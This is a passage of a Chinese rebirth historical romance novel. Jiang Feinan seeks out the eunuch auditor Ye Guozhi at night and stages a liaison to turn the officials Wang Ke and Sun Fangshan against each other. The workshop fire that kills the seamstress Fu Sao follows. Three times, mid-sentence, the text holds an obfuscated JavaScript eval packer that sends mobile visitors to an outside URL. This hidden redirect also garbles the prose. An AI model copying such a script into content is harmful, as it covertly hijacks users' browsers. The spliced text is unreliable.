似在同什么人怄气，他任由房中蜡烛不要钱的疯烧，亮堂的恍若白昼。那亮光穿透纸窗递出屋檐，但凡眼不瞎都知道他尚未入寝。 叩叩——门外两声叩击与他心中那道祈盼暗合上。 “怎能如此不守约？” 微薄恼怒配上阴柔的少年声，略显娇嗔。叶国枝抛了惯有的矜持，起身推门一气呵成，却是愣在了原地。 屋内薄荷香被等待的焦灼燃烬，徒留清冽兰色余晖有意勾缠，顺着风意攀上她沾着晚露的发梢。 “民女姜斐囡，” 一双剪水瞳在暗夜中星芒扑闪，将他把迷途牵引： “戴月而来投明珠。” 4. 情动 言说夜奔，总叫人想起两出戏。 一说是林冲雪夜投梁山，一说是红拂戴月奔英雄。 屋内火烛烧得噼啪，堂前清风不识文雅，将无辜书页翻得哗哗作响，却又止步于那道深厚折痕前。 ——倘若有心翻读，里头故事恰是这般写的： 「其夜五更初，忽闻扣门而声低者，靖起问焉，乃紫衣戴帽人，杖揭一囊。靖问谁。曰。妾杨家之红拂妓也。」① 六月的江南，本就是雨水涟涟。 今日傍晚刚降了场绵雨。细雨微茫胧月娇羞，待到云雾消散，只见月下紫衣女子云纱柔曼，乌色帷帽沾着稀碎水雾。烛影晃动中，她纤指轻挑，抬手撩起一帘幽梦。 叶国枝暗抽一口凉气，顿悟就不该开这天煞的门。待他回过神来，人已经被他锁在了外边。 叩叩。 门外佳人浅吟低笑：“官爷开开门。” 孤男。倩影。夜半叩门。 倒是有几分聊斋的味道。 “官爷，”那女鬼锲而不舍妖言轻蛊：“我带了账册，我要告孙房山的黑状。” 叶国枝无动于衷，甚至还默默念了句佛。 这可叫姜斐囡犯了难，前世她也就哄他到这里。 当年她太过青稚，压根没想过干这事得背着人。傻乎乎大白天蹲在他门口，差点被家丁发现马失前蹄。最后还是叶国枝看不过眼把她捡回去的。 照理说，这账呆子听见账册就该让她进了。姜斐囡蹙眉沉思。不过是换了个时间，他戒心怎的这么重？ 等待的间隙沾了露的纱衣逐渐贴肤，多少有些不适。姜斐囡心中烦郁，小声嘟囔起来： “外头好冷呜——” 落音当下门将乍开，叫姜斐囡吓了好一跳。 叶国枝一低头就看见了她的赤脚。 一双赤脚带着泥点，伙同些许青苔，冷清清踩在萧索的地上。她生的白皙，粉如莲藕的肌肤被脏污攀绕更具残损美感，直叫人心生垂怜。 姜斐囡这些日子总是半夜溜出来，只留双鞋在榻前装模作样替她。她本就是狂放的性子，也不在乎一路行来是否踩了满脚泥泞。 叶国枝沉默良久，终是开了口： “地上凉，姑娘先进屋擦擦脚。” ______ 姜斐囡乖巧坐在绣墩上。她在安静的时候，模样还称得上端庄。倒是能看出几分望族闺秀的影子。 叶国枝敛了瞳仁不去看她，顶着张无欲无求的面庞公式化盘问： “账呢？” “这里。” 姜斐囡从袖中抽出账册，叶国枝只是转手放在桌上，背过身端了一盆水来。 屋里只有个脸盆，是留给叶国枝净手用的。姜斐囡知道他素有洁癖，颇为意外他竟然肯为萍水相逢的女子做到这般退让。 “白日里姑娘说过，叶某身为外男不该游荡内宅。” “姑娘怎么又肯来了？” 叶国枝把手伸进水里，分批勾兑着桌上热茶。姜家招待客人的茶叶素来都是顶好的，看着以金论价的茶叶转眼变成了自己的洗脚水，阔佬如姜斐囡也不禁有些肉疼。 “我只道了声你不该去，可又没说我不会来。” 姜斐囡强词夺理的过于硬气，竟叫人觉得也能占几分理。 叶国枝没理她这套歪理邪说。好容易把水温调到合适，也不扯多余闲话，径自擦了手翻账去。 叶国枝看账的速度极快，像秋风扫麦般一阵风的功夫就过了。如他所料，这本账册并无猫腻。他也相信，凭姜斐囡纵横商海的本事断不会让他查出猫腻。 那厢姜斐囡糊弄着洗了个囫囵，正如偷腥的猫鬼鬼祟祟寻找落脚处之地：她尴尬发现叶国枝没给她帕子。姜斐囡本想着偷摸甩干，却被一条汗巾包裹。 近乎本能的反应，叶国枝隔着汗巾握住了她的脚踝。稍薄的汗巾在热气蒸腾下将双方体温传递，烫得叫人心惊。饶是姜斐囡这种感情木讷的，也没经住心跳突突了两下。 对于初见面的男女而言，这动作属实暧昧了些。姜斐囡一瞬间有些恍惚。明该是陌生的人，现下却做着再娴熟不过的事情。 叶国枝虽不饱读诗书，仅凭朴素的道德也能知晓自己孟浪。他不动声色让姜斐囡自己接手，言语又恢复了淡漠： “姑娘多大个的人，也该学些礼节。” 又一次的，他没喊她姜掌柜——他尚且拿不准她究竟是以什么身份前来赴约——是姜家拒人千里之外的阁楼闺秀？还是书里夜奔长安城的赤足红拂？ “可是小叶大人，我额头疼。” 姜斐囡扬起脸望他。叶国枝总是目光闪躲，她偏要叫他看个真切。 煌煌火光下，新痕旧疤无处遁形。 “谁干的？” 晌午孙房山扇的巴掌已经肿起，额边久伤未愈的淤紫触目惊心。姜斐囡沉默的低下头，扑朔游离的眸却又似乎把什么都说了。 “我问，是谁干的？” 叶国枝声音颤抖，甚至不再注意称谓的礼仪。 他并没有俯视低下头的姜斐囡，而是蹲下身加入到她沉默的视角。这次倒换成她看得真切起来： 他哭了。 不是豆大的决堤，也不是淅沥的绵雨。 只是眼眶红红，像他们曾经一同养过的雪貂。 姜斐囡前世并非没见过叶国枝落泪。叶国枝是个多愁善感的人，路边偶遇民生疾苦他会哭，观戏时至情至性他也会哭。民间经常揶揄他们这号人，说这群太监似小女儿心性，或喜怒无常阴晴不定，或娇痴多泪伤春悲秋。 姜斐囡并不认可这所谓的太监脾性，起码她知晓叶国枝只是本性纯良而已。在姜斐囡的成长历程中，落井下石之徒常见，损人利己之辈常见，像叶国枝这样能痛他人之痛者才是顶顶的稀罕。 而她正是要利用这份纯良。 姜斐囡身形晃荡，柔软的扑进他怀中。 叶国枝茫然失措，空荡双臂不知从何下手。 倘若不是这个场景，倘若不是这位女子。他本该能拒绝的。可是他甚至能感受到姜斐囡湿润的呼吸在他怀中逐渐洇染开来： “民女姜斐囡状告王珂、孙房山合谋杀害我母亲，巧取豪夺吞并姜氏布坊。” 一声叹息。 “姑娘比我更清楚，你带来的账册扳不倒任何人。” 提起查账，叶国枝被蛊惑的心智瞬间又清明几分。姜斐囡给他看的东西，甚至都称不上证据。除了正常的经营流水，没有任何违法的蛛丝马迹。如果不是利害相关，他倒想赞扬对方简直无懈可击。 “自然，”姜斐囡淡淡道：“这可是经我手的账目。” “那你为何——” 叶国枝不懂姜斐囡为何要拿没有问题的账来给他审。 “这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051086|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的投名状。”姜斐囡暧昧的攀附上叶国枝，仿若无骨的绞杀藤，最终环住他的腰身。 “扳倒他们不能简单从账目入手，得从人身上下功夫。我被孙房山指给了王珂，不日就会成完婚。大人只需留我在这呆上一宿，明儿个清早自会有人倒霉。”姜斐囡言语悲凉：“布坊是干净的，布坊的掌柜可不干净。” 叶国枝屏息，他猜到了姜斐囡接下来的话语。 “接收我，”她倚在他耳畔气吐幽兰：“就像你收到了孙房山的礼物。” “姜掌柜！”叶国枝奋力挣开姜斐囡束缚，他红着脸大气粗喘，仍不忘反身质询她： “你可知我是谁！” “我知你是内廷十三监审计监提督。”姜斐囡定定看着他：“你是个宦官。” 宦官。被心仪女子狠狠拆穿最后的遮挡，叶国枝面若白纸如坠冰窟。窒息感如排山倒海袭上胸腔，他像被攥住尾巴的老虎勃然暴怒： “姜掌柜这算什么意思！我们阉人虽不能人道，也不至于要受如此折辱！” “嘘！”姜斐囡食指抵住他的唇瓣：“夜深了，别吵着大家。” 叶国枝晦暗的眸紧盯姜斐囡。 她虔诚的跪在绣墩上，捧起他如玉面庞： “我心悦你。” ______ 「妾阅天下之人多矣，未有如公者。丝萝非独生，愿托乔木，故来奔耳。」② 叶国枝爱看戏。尤其是一出红拂夜奔，他翻来覆去看了许多遍。家中存了各个版本的文本折子，内里桥段信手拈来更是不在话下： 故事始于落魄英雄李靖上门拜谒，杨素府上侍妾红拂慧眼识珠，决意抛却一切与李靖月夜私奔——每读及此处，叶国枝总要停下拊掌称快：如此缠绵悱恻的爱情好不利落！好不浪漫！ 他偶尔也会心驰神往。 可真当相同桥段落到他头上时，他却是想了又想。 叶国枝不知姜斐囡是从哪里打探来的消息，还特意把书放在了床头。他从未对外人提起过自己这些小爱好，她却仿佛对他的脾性了若指掌。 寻常好人家的小姐本该对他们这号人唯恐避之不及，唯有她横冲直撞胆大包天，竟妄图拿感情做饵以身入局。 “我心悦你。那日你在堂前为姜家讨回公道，我便心悦于你。” 欲望也好，野心也罢。当那双晶亮的眸将他盛起，便仿佛捧住了世间无二的珍宝。 纵是红拂本尊来了，亦不过如此。 叶国枝深切的明白，这个胆敢在他枕边埋钩子的姑娘，可以是决绝狂奔的红拂，也可以是走投无路的林冲，却决计不会是株丝萝。——喂鱼递拜贴到深夜投名状，桩桩件件哪有什么巧合？不过是她一手谋划的算计罢了。 姜斐囡终是如愿占了他的床榻，叶国枝在旁打着地铺将就了一宿。 夜沉时他独自起了身。姜斐囡正攥着被子一角揽在怀中酣睡，皎月顺着窗沿在她身上披了层霞衣，恍若神迹遗世。 叶国枝不自觉朝她的方向伸出手去。 孤清月色横在身前，将榻上榻下隔成泾渭分明的两界。恰如现实中他们的天堑。 小姐与宦官。叶国枝无声自嘲着。黑暗中他眸色柔光缱绻，任由汹涌爱意沉默决堤。 骗他也好，骗他也好。他想。哪怕初衷是哄骗他。她既然肯花心思编瞎话来哄，他又怎能忍心弗了这番美意？ 5. 画扇 姜斐囡重生后难得睡了个好觉。 叶国枝侍奉御前常有薰香的习惯。不是馥郁繁杂的花氛，也不是颓靡奢华的木调，而是浅浅薄荷味夹杂着寡淡的雨后幽兰，清新又安神。 姜斐囡虽对香氛没什么兴趣，前世与叶国枝举案齐眉十余年，经年累月也习惯了他的气味常伴身侧。她本就是个夜里睡觉不安生的主，这些日子缺了他这味药来助眠，似乎总在提醒她那骤然永别的痛楚。 好在一切都已步回正轨。 姜斐囡睡醒时，地上的被褥已经叠好放起。叶国枝正端坐桌前翻书。 姜斐囡不顾自己披头散发，打着哈欠赤脚下床，理所当然抱起叶国枝的被褥往自己枕边一塞。 叶国枝不解：“姜姑娘——”。 “做假要做全套。”姜斐囡粗暴拆开叶国枝理好的床铺，只叫枕头压住枕头，两床被褥凌乱裹挟。 末了她歪头思索：“是不是该泼点水？” 叶国枝红着脸忙按住她蠢蠢欲动的手：“大可不必如此！” “就不该让他们进来。”他清咳一声提醒。 姜斐囡了然点头。也是。拉着外人进卧房过于刻意，多少有些此地无银三百两的意味。 “姜姑娘这般自信他们会上钩？”看着她对计划志得意满的模样，叶国枝不免好奇。 “大人不该再唤我姜姑娘。”姜斐囡不满他的生疏，却也耐着烦解释道：“你在荣宝斋挑的骨扇刚到货，王珂不会放弃这个攀高的机会，必然会亲自送到府上。” 叶国枝诧异：“你连荣宝斋的事都知道？” 提起这茬姜斐囡简直恨的牙根痒痒： “王珂做顺水人情，走的都是我们布坊的账。” 孙房山脑子被驴犁过，以为供奉献金巴结上官就能得多少庇佑。王珂指缝漏漏给他捡个有名无实的教谕头衔，竟巴巴上赶着给人叼骨头。 ——谁知人家只当他是随时提款的钱庄。王珂这些年吃喝玩乐酒池肉林，孙房山假装大款四处埋单，挥霍的全都是布坊女工一针一线的血汗！ 叶国枝吃惊于基层官僚对商户的盘剥竟如此严苛： “这些事端你们知州和巡抚竟不知情？” “叶大人真以为谁人都跟你一样？”姜斐囡嗤笑：“他们来富土的日程都是明码标价的，敢往上告的人如今正忙着把三字经从头学过了。” 叶国枝沉默，富土的环境比他原先预想更加复杂。 恰逢小厮端了水过来，恭候门外报着：“官爷，咱们知县王大人求见，正在门厅侯着哩。” ______ 叶国枝穿着象牙白的丝织亵衣起身开了门。姜府小住几日，下人们都知道他是个周正守时的性子，如今却叫人看见这不成体统的懒散样，仿佛将将睡起。 “叫王大人稍后，”叶国枝嗓子带着哑：“咱家需梳洗一番。” “大人，”屋内嘤咛婉转娇俏，一双柔荑从背后环住他腰身：“日头还早再睡会儿。” 任是傻子也晓得发生过什么。小厮紧张地咽下口水，心里直犯嘀咕：不是说太监都是断了根的，还能、还能这样？ 多一事不如少一事，小厮本想速速离去免得扰了贵人雅兴，却是被那女子容颜硬生生控在原地。 只见叶国枝将人拉到身侧，女子云娇雨怯轻偎低傍，缠着贵人胳膊藏起半张红脸，却还是叫人认了个清楚—— 恰是他家的小姐！ 小厮惨白着脸端盆的手抖若筛糠，只觉自己死期将近不知如何复命。叶国枝体贴的为其接过水盆，淡淡道： “回去吧。” ______ 女子的头发梳起来总是要些时间。 姜斐囡并非不会梳头。之前在四川求学她也是自己照顾自己，对付着束个男子冠她还是会的。奈何两世为人，求学记忆于她而言过于生疏遥远，平日里有鸢飞照拂不成问题，节骨眼当下可不能勉强糊弄。于是这个重担就交到了叶国枝手里，也是她曾经最为习惯的日常。 倒是叫王珂一阵好等。 叶国枝走在前头，身后姜斐囡一抹紫色倩影袅袅娉娉。王珂怨毒的眼色在二人间游移，低眉的间隙又换上了标志性假笑： “叶大人好生福气。” 人逢喜事精神爽，叶国枝如今美人在侧眉色飞扬好不神气：“这还要谢过王大人。” “哦？怎得又让下官搭起秋风来了？”王珂强忍下怒火，势要把此事前因后果问个水落石出。 “昨日可是王大人告诉我，扇子也好人也好，保不准哪天就能聚齐。”叶国枝故意哪壶不开提哪壶：“承王大人吉言，这不就找着了吗？” “这可真是，赶了巧。”王珂咬牙切齿干巴巴回应。 是了！扇子！这倒霉的破扇子！王珂内里怒火攻心，差点暴走当场。整个富土都知道姜斐囡是他未过门的新妇，就叶国枝这条阉狗敢一脸无辜睡了他的马子还要感念他祝福。他恨自己这张嘴，更恨叶国枝个挨过一刀的玩意竟学人肖想女人。 今日之后，整个富土都会知道他被个太监截了胡！ “美人配美扇，”王珂敛下心气，皮笑肉不笑打开礼匣将骨扇递到姜斐囡面前：“姜姑娘值得。” 孙房山风驰电掣疾行而来，正当赶上这出好戏。身后小厮两颊浮肿，缩在门口不肯进——他先前在孙房山门前左嚷句“小姐爬了叶大人的床”，右嚷句“王知县亲眼所见”，讨了孙房山一顿好打。 姜斐囡轻展扇面，是一对富丽艳彩的浮水鸳鸯。 她不禁会心一笑：“呀！好应景的题材。” 姜斐囡没嫌这姹紫嫣红俗气，倒是欢喜的很。原本她只晓得叶国枝定了把扇子，却不知道他定的什么样式——前世叶国枝在荣宝斋未取一介，她正是相中他这份清正才决定豪赌一把。 不知几时他竟喜欢上佛朗机的风情？姜斐囡虽然困惑，却对这鸳鸯爱不释手。她喜欢那人，他挑什么都是极好的。别说叶国枝挑了对鸳鸯，他就是挑只王八，她都会欣然收下然后转送给王珂。 姜斐囡在看扇，叶国枝在看她。只见她低眉垂目会神在工笔线条间，一侧玛瑙耳勾翻飞摇曳，另一侧则不知所踪。 地转天旋间，姜斐囡来到他的怀中。 叶国枝揽着她的腰，俯身为她添上那只消失耳勾。 “姜姑娘，得罪。” 呼吸贴着呼吸，叶国枝在她耳畔浅吟低喃，旁人看来近乎吻上的距离直叫人浮想联翩——这并非他们的原定计划。 末了叶国枝抬头讪笑起：“囡囡早上起的急。” 囡囡。仅一个晚上就改了称呼。 在场众人皆变了颜色，王珂的脸更是绿了又绿。 他俩搁这卿卿我我如胶似漆，像极了新婚燕尔的小夫妻，倒逼的孙房山里外不是人。孙房山背后王珂目光灼灼，孙房山只觉如芒在背好不尴尬。 “刚谢过王大人吉人吉言，还要感谢孙老爷不吝珠玉。”这种场合下叶国枝自是不会放过孙房山：“没有孙老爷忍痛舍爱，叶某也遇不见如此正缘。” 他拉起姜斐囡柔声轻语：“还不快谢过父亲。” 孙房山可不敢当叶国枝的父亲。这活阎王在京师威名远扬，靠的是刮地三尺血流成渠抄得人家破人亡的手腕。叶国枝此番将他点出来推给王珂，孙房山既不敢承认，更加不敢否认。 “谢父亲。” 一句父亲重若千金。姜斐囡自小由母亲带大，孙房山同姜氏龃龉不合多有苛待，是以他从未见过女儿这般恭顺面貌。而今这恭顺却给他横插一刀，他便是跳进黄河也洗不清。 孙房山销魂丧胆冷汗涔涔。现如今人都已经搭上，事情已成定局。再解释不光丢了王珂，得罪叶国枝这尊大佛怕不是要两头挨打。进也不是退也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051087|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他只能打碎门牙往肚里咽。 王珂本就对此事有所怀疑，如今孙房山不发一言，更加坐实了他对自己的背叛。王珂气上心头，只想将孙房山活剥了皮做灯笼去。 这厮怕不是把自己在当傻子耍！ “孙老爷也好生福气。” 王珂冷笑着拍过孙房山的肩拂袖而去。 孙房山腿脚酸软差点一个踉跄交代在此，待他反应过来忙提着长袍往外追人： “王大人——王大人——！” ______ 姜斐囡带着叶国枝回了绣阁。 鸢飞在院里急的像只热锅蚂蚁，兜兜转转终于见到了她家小姐。 “小姐——！” 鸢飞爆冲过来环紧了姜斐囡，又扯着她左瞧右看，嘴里琐碎地念叨：“伤着没？伤着没？” 她家小姐是个不省心的。在外头商海搏杀搅弄风云拼得像个男人，回到家上骂老祖下怼亲父似那斗战胜佛，可谓是胆大又狂狷。 可哪有大家闺秀向太监自荐枕席的？简直异想天开闻所未闻！外头都说这些太监心思扭曲变了态的，她家小姐娇皮嫩肉哪里遭得住这个罪。 鸢飞暗自垂泪。夫人死后整个家就散了，如今这偌大府邸独留小姐一个姜氏，剩下都是些什么豺狼虎豹？ 狗屁宗家荣誉，就值当把好生生的人给熬成鬼吗？ 逼急了她跟小姐收拾包袱远走高飞，总好过被他们百般糟践。 姜斐囡知道鸢飞关心她，云淡风轻拍了拍她毛茸茸的头： “我没受伤。叶大人是个好人，都替我挡了去。” 好人？好人会独闯绣阁，拐正经人家的闺女夜不归宿？鸢飞瞧着姜斐囡身旁的叶国枝就气不打一处来。这厮怕不是早有图谋，瞧着小姐势弱趁虚而入，花言巧语威逼利诱将人哄骗了去。 姜斐囡能感受到鸢飞对叶国枝若有若无的敌意。她知道外头宦官名声不好，鸢飞又是个刚及笄①的孩子，多少会受舆情影响。 两边都是爱她的人，姜斐囡选择夹在他们中间，不动声色隔开鸢飞不友善的眼神： “找我还有其他事吗？” 鸢飞这才想起自己有正事要办：“福嫂儿子耕田时把腿摔了，福嫂想预支下个月薪水给幺儿看腿。” 福嫂是布坊的绣娘，家族世代为姜家做工，传到她这里已经是第三代。姜斐囡向来对女工们阔绰，尤其是这批跟着她走出破产绝境的女工。 几乎没有思考，姜斐囡直接告诉鸢飞：“派府上大夫去看看，直接给她足月工钱就当是奖金。我们这边也要派人登门问候。” “是。”鸢飞拿起随身信笺一一记下。 “还有一件事，”姜斐囡想到什么突然严肃：“自今日起布坊放酷暑假，工钱要照给。在我通知以前所有人都不许回来。此事需得你亲自督办，即刻传达不得有疏漏。” 鸢飞被下了紧急任务，也顾不上在姜斐囡和叶国枝间横插一脚，领了事情便匆匆离去。 叶国枝只是送姜斐囡回来。亲眼瞧见她安全，也到了该分离的时机。他将想开口，却被姜斐囡拽住了袖子。 “姜姑娘——” 这对于刚相处两天的陌生男女多少有些不合礼数。 “又叫我姜姑娘。”姜斐囡略有微词。宽袍大袖遮掩下，不安分的手摸索着与他十指相扣。 “要是漏了陷可如何是好？我俩都没好果子吃。” 她坏笑着举起手来，将他们甜蜜的纠葛摊到阳光下： “昨夜我说的话，字字句句皆为真心。叶大人要不要考虑下？” “毕竟，” 她欺身向前，趴在他耳畔撩拨： “小叶大人唤我囡囡的模样，属实美丽。” 莫名的，他叫个丫头片子闹了个脸红。 叶国枝逐渐意识到，姜斐囡从来不是个讲礼数的人。 6. 烧身 汝窑的茶具，太湖的奇石，老檀木官帽椅...... 孙房山气急败坏将东西砸了一地。 他最终没能追上王珂，也不该追上王珂。 经姜斐囡这一出搅合，如今叶国枝这条贼船他不想上也得咬着牙硬上。 嘎吱、嘎吱。 颀长的黑影踩过遍地碎瓷，毫不在意会刮花翡翠镶边的靴子。 “父亲莫气。” 来人是个和孙房山眉眼有三分相似的男子。 他承袭了母亲的美貌，比孙房山年轻时更加俊朗。一身书生青衣道袍，长了张没挨过欺负的公子哥儿脸，眉目间却流转着同孙房山一模一样的狠戾。 “少勋啊。”孙房山宽慰地拍着儿子手背。 不成器的女儿反叛到叫他头痛，唯剩这家中的男丁还算贴心。 孙少勋扶住摇摇欲坠的父亲坐下好生歇息。 孙少勋是姜斐囡同父异母的兄弟，只比姜斐囡小上半岁。作为孙家族谱上的独子，孙房山给他用盛唐员外的别称命名，也是殷盼这儿子能为老孙家考个一官半职，圆了自己当年未竟的科举梦。 好小子也是个争气的。自小熟背四书五经，融贯经史子集，如今正在鼎鼎大名的紫阳书院念书。虽然身上还未有功名，也是肉眼可见的前程坦荡。 “我听过阿姐的事了。”孙少勋淡淡道。 孙房山头疼的捻起眉：“少勋啊，你怎么看？” 孙少勋是个聪明孩子，脑子里主意又多又好。孙房山吃不准的事经常会求助于他的智识，也当是给孩子掌家的历练。 “此事当务之急还不是王大人，”孙少勋沉吟着思索：“咱们手里暂且还捏着布坊，阿姐这次行动过于冒进，怕是有蹊跷。” 他无比熟悉姜斐囡的作风：放一分软话做十分硬事，没有后手绝不轻易下注。在过去布坊商誉就是姜斐囡的命，孙房山拿住这软肋就是掐住了姜斐囡的七寸——可纵是泥捏的人尚有几分脾气，更何况是姜斐囡这种不甘屈居人下的猛兽？ 现在的布坊还能是姜斐囡的软肋吗？ 姜斐囡的冒进无疑是个危险信号。要么她已经铺开天罗地网就待他们瓮中捉鳖，要么她下了狠心打算撂蹶子远走高飞。两种走向对他们而言都不是什么好事。 至于王珂？——对他来说暂且算个趁手工具罢了，真到紧要关头该丢还是得丢。 少勋想的还是更长远些。孙房山满意地拍了拍儿子的肩膀：“好孩子，你说该怎么做？” 孙少勋阴沉着脸，眼中血丝欲滴： “如今当务之急还是要确认，布坊这根绳还栓不栓得住姜斐囡。” ______ 江南的梅雨季分外恼人，可就算是恼人不断的连绵梅雨，也没能浇熄那场令人绝望的熊熊大火。 “小姐——！布坊走水了！” 毫无意外的，他们还是选择了这种方式。 姜斐囡已经是第二次接受心血被烧毁，勉强算心态平和。当鸢飞着急忙慌推开门禀报，她甚至还因为与前世记忆重合而暗自舒心。直到鸢飞说出了那句话： “福嫂也死在了里面。” 算账的笔戛然而止—— “你说什么？” ______ 姜斐囡打小就讨厌下雨。 雨水将一切变得湿漉漉的，薄如蝉翼的衣裳黏在身上也会变得异常沉重。 去往福嫂家的小路满是泥泞，姜斐囡沉默的埋头苦行着，只听见身后挑夫担着的铜钱丁当乱响。明明也是走南闯北见过市面的姜掌柜，却觉着这几乎是她人生踏足过最漫长的征程。 推开那扇散发霉味的木门，女孩茫然探究的目光迎向姜斐囡： “小姐找何人？” “我是姜氏布坊的掌柜，”姜斐囡放轻了声音自我介绍，生怕吓着她：“你家大人在家吗。” 原本抱着绣绷的女孩忙放下手中活计，麻利地起身往外跑：“他们还在田里做工，我下去喊喊。姜掌柜稍等。” 姜斐囡接过女孩的板凳守在门厅，不细看便可将整个小屋一览无余：简单的基础生活用品有序排列，两床通铺男女各朝一边。福嫂家里虽然略显局促，却被打理的井井有条温馨可人。 姜斐囡并没有等太久。 小姑娘一路小跑，身后跟着扛锄头的父兄气喘吁吁，瘸腿的幺弟紧随其后。 一家人看到姜斐囡都感到惊诧。布坊走水是个意外，这是官家断过的案子。身为东家的布坊该赔的都认赔，福嫂的尸体不日就会运回老家入土为安。福嫂的家属对此没有异议。 不知何事才会惊动日理万机的大掌柜专程来跑这一趟？ “福嫂的事我很遗憾。”姜斐囡率先开口，她叫鸢飞从挑夫担子下卸出一台木箱。 “之前是布坊的心意，这些是我个人的一点心意。” 满箱的铜子一贯一贯码放整齐，都是足色的新钱。 扑通一声。眼下家里唯一的顶梁柱父亲，那个如山般的男人轰然跪地：“小民谢过大掌柜！” 福嫂家里都是一口唾沫一个钉的淳朴农人。本就是酷暑假期，福嫂自行跑回布坊遇上火灾也是没法子的事。麻绳专挑细处断，寻常人家没法子的事情多了。东家既然没有丧了良心愿意赔，活着的人总得要继续活下去。 在此之上，他们从未做过奢想。 姜斐囡这箱钱恰是雪中送炭来的。眼下家里三个孩子，其中一个还跛着。三张嘴正是用钱的时候，一头顶梁柱平白垮了去。发丧要笔钱，娃儿吃饭读书要笔钱。 福嫂的丈夫大字不识几个，也没什么体面需顾及。哪怕是看在钱的面上，都得给恩人跪上一跪。 姜斐囡堵的心头一滞。 感谢——她吗？ 这一整箱的铜贯子全摞起，都不够她弟弟孙少勋镶一双翡翠鞋，在这个地方却能买下条烫热的人命。 姜斐囡自觉受不起这恩名，忙唤两兄弟把他们的父亲扶起。 女孩在旁木木然看着一切发生。 她能理解父亲的选择。同母亲的床榻尚且热乎，仿佛昨夜她们还相互依偎过，如今那温暖的怀抱却变作了冰冷的铜板。可是人总得活着。 “掌柜姐姐，”她私下偷偷扯了姜斐囡的衣袖。姜斐囡困惑的看着她，直到她从枕头下捧出一沓绣片来。 “阿娘走的时候，这些还没绣完。”女孩把长长的绣片摊开：虎头虎脑的小猫穿梭在草丛，盯着枝头粉碟蓄势待发。丝织针线将猫儿淘气神情描摹得惟妙惟肖，只可惜到猫尾部分戛然而止，被福嫂临走匆匆收了几针—— 原来是丝线用没了。姜斐囡没控制住，一滴泪落在空白的绣面上。恐怕原主也没想到，只是去布坊取个针线的功夫，一条尾巴怎得就成了她人生最后的绝笔？ “阿娘原是想待开工后送给掌柜姐姐，缝作衣缘正当好。”女孩慢吞吞的讲着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051088|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿出先前捣弄的绣绷。 上头也是一只白猫，虽然没有福嫂的针脚利落，但胜在有灵气。绣绷旁有许多拆了再绣的孔眼，看样子是苦练了许久。 “掌柜姐姐如果不嫌弃，”女孩怯生生的眸子里带着些许希冀：“待我补全再送予姐姐。” “大掌柜！您就收下这孩子罢！” 福嫂的丈夫伏地再跪，这次是为给女儿博个前程：“锦娘是我家婆子手把手教大的，虽欠些经验但胜在勤学肯练。还请大掌柜给孩子个机会。” 姜氏布坊对女工的待遇极好，说是布行里最好的那家也不为过。只可惜她们女工的位置僧多粥少，偶有遴选也是万里挑一。 女孩双目迷茫，显然没料到父亲会来这样一出。她真挚的眸慌乱瞟向姜斐囡，开口欲解释自己纯粹的初衷。 “没事。” 姜斐囡抚过女孩面颊，和煦的神情似乎在透过她的眼眸缅怀故人。 当年姜氏布坊摇摇欲坠，姜斐囡被赶鸭子上架对布行一无所知，甚至连套靠谱行装都凑不齐。是女工们自发一梭一梭为她织起霓裳，手把手教会她什么是平纹什么是提花，这才有了往后的好日子。 姜斐囡默默脱下最外层的纱衣，轻轻披在女孩身上。 那是件薄如蝉翼的鹅黄花罗纱点缀立体蝴蝶苏绣。 “这是你母亲亲手绣的衣裳，送给你钻研针脚。” 干布行的多是卖油娘子水梳头。女工们表面光鲜，终其一生却难攒下几件自己的作品。 女孩呼吸脆弱的像蝴蝶震翅，姜斐囡坚持将扣子亲自从头扣到尾。 “待来年开春你都吃透了，就到布坊里来。” “好。” ______ “小姐，会生病的！” 鸢飞眼眶红红，却无奈劝不动自家小姐的犟脾气。 姜斐囡撇开鸢飞的伞，彳亍独行着。 雨水越下越大，打在她两侧肩膀重如万担。 不该是这般。姜斐囡空洞的眼睛落在云端灰暗无际的天边。 本不该是这般——前世布坊大火死伤惨重，如今她重活一世得了教训，明明都将布坊关停了，怎么还是往里折了条人命？ 姜斐囡啊姜斐囡，她无言的自嘲道：你自诩筹谋千里算无遗漏，怎么没能算到今日？ 前世的她尚能宽慰自己意外时有发生，再世为人的她却容不得如此自欺欺人。 ——倘若这苍天无眼天道无常，为何偏偏让她重活一遭？ ——倘若这苍天有眼天道有常，为何又放任魑魅魍魉为祸人间，偏偏叫福嫂这样的好人家风霜遍历生死两隔？ 她不服气！ 终于，姜斐囡还是狠狠栽了个跟头。 鸢飞离得远没能捞住她，只能眼见自家小姐两膝陷入淤泥，一身华服尽数损毁好不狼狈。 